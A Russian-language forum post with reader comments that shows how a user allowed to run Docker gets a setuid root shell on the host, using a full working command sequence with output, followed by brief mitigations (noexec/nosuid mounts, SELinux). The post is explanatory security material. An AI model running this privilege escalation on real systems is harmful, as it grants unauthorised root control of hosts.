Получаем рутовый шелл через докер

На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.


И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.


Пулим образ:

$ docker pull monsantoco/min-jessie

Using default tag: latest

latest: Pulling from monsantoco/min-jessie

a3ed95caeb02: Pull complete

d9f5175a7629: Pull complete

Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96

Status: Downloaded newer image for monsantoco/min-jessie:latest

И пускаем:

$ mkdir /var/tmp/sh

$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'

$ ls /var/tmp/sh/ -l

итого 124

-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh

$ /var/tmp/sh/sh

# whoami

root

#

Вот так мы получили суидный шелл за пределами контейнера.


Как решить?

* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux


ЗЫ:

$ docker --version

Docker version 1.10.3, build 20f81dd

$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial

Вы смотрите срез комментариев. Показать все
Автор поста оценил этот комментарий

вопрос, а зачем это вообще в архитектуре заложено?

раскрыть ветку (3)
Автор поста оценил этот комментарий

Создание неймспейсов, цгрупп, управление iptables - для всего этого нужны права суперпользователя - root. Т.е. когда ты делаешь docker run от пользователя, ты все-равно все делаешь от рута. Это же давно было известно - есть рутовые права в контейнере(или chroot, и.т.п), есть и на хосте.


Но с докером по-умолчанию проще, да. Особенно весело будет, если у разраба уведут ключик приватный :)

раскрыть ветку (2)
Автор поста оценил этот комментарий
Вы не могли бы объяснять такие посты для непонимающих в этой теме людей, но хотящих разобраться. И если можно посоветуйте литературу про Информационную защиту. Буду благодарен.
Автор поста оценил этот комментарий
Хотелось бы еще увидеть посты про то "как обезопасить себя" т.е. что нужно, чего не нужно делать, какой ос пользоваться и т.д.
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку